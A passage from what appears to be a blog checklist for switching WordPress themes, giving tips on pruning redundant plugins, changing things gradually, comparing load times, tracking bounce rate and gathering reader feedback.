Themes are now coming pre-loaded with a lot of features. For example, if you are using Genesis or another theme that has BreadCrumbs, then you can get rid of Breadcrumb plugin of yours. The concept is simple. Get rid of things that you don’t need. One thing you should make sure though is often plugins can do the job better. For example a lot of themes are coming with tons of SEO features. Genesis, Thesis, Headway, Standard Theme, and all others boast their SEO features. We’d rather use other much more powerful plugin like WordPress SEO by Yoast. Make your choices wisely.

12. Take Baby Steps when Changing

You are working with a new theme here, so it is probably best that you make changes carefully. Change smaller elements to make sure that it behaves properly in all browsers. Then once you are comfortable enough, then you can make drastic changes. It’s important to learn the structure and semantics of the new theme before you make huge changes. This will allow you to detect the problem right away.

13. Test Loading Time

Take the load time numbers that you had on your old theme (from item 1 of this checklist), and compare the two. See what you can do to improve load time.

14. Monitor Bounce Rate

After switching themes, you want to make sure that you are monitoring bounce rate. Some themes are just more friendlier than others when it comes to navigating the readers around your site. If your bounce rate has increased compared to the previous theme, then you should probably work on that. Add related posts widgets, popular posts widgets, or simply have a better call-to-action for new readers.

15. Listen to your readers, and IMPROVE

When a new design comes out, users always have suggestions. They either love a specific feature, or hate a specific feature. Communicate with your audience using surveys or Facebook Polls. See what they would like to see improved, and then work on getting that done.
Do you have a checklist of your own when changing WordPress themes? would love to hear it if we missed something.